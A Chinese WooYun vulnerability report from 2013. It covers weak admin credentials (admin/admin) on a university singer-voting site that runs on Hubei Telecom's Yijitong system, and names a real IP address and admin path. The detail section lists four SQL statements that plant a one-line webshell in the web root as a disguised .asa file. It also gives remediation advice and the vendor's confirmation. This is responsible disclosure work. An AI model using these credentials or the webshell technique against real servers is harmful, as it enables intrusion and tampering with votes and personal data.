漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-042647
漏洞标题：湖北电信翼机通系统一高校歌手投票网站弱口令
相关厂商：湖北电信翼机通系统
漏洞作者： 机械迷城
提交时间：2013-11-12 10:44
修复时间：2013-12-27 10:44
公开时间：2013-12-27 10:44
漏洞类型：账户体系控制不严
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-12： 细节已通知厂商并且等待厂商处理中
2013-11-16： 厂商已经确认，细节仅向厂商公开
2013-11-26： 细节向核心白帽子及相关领域专家公开
2013-12-06： 细节向普通白帽子公开
2013-12-16： 细节向实习白帽子公开
2013-12-27： 细节向公众公开
简要描述：
湖北电信翼机通系统一高校歌手投票网站弱口令
详细说明：
首页http://58.53.209.102:8080/web/hsy_index.aspx 通过扫描目录工具得到后台地址http://58.53.209.102:8080/admin/login.aspx 通过弱口令admin admin进入后台可执行sql语句
(1) create table cmd (a varchar(50))
(2) insert into cmd (a) values ('一句话马')
(3) select * into [a] in '网站根目录1.asa;x.xls' 'excel 4.0;' from cmd
(4) drop table cmd拿shell 后台可修改选手票数和是否可投票，以及参赛选手的个人信息，所在学校。便于提交漏洞，没有拿shell
漏洞证明：
修复方案：
建议管理员及时修改弱口令，关闭SQL语句执行功能，并对登陆后台的IP地址有所限制
版权声明：转载请注明来源 机械迷城@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：11
确认时间：2013-11-16 23:08
厂商回复：
最新状态：
暂无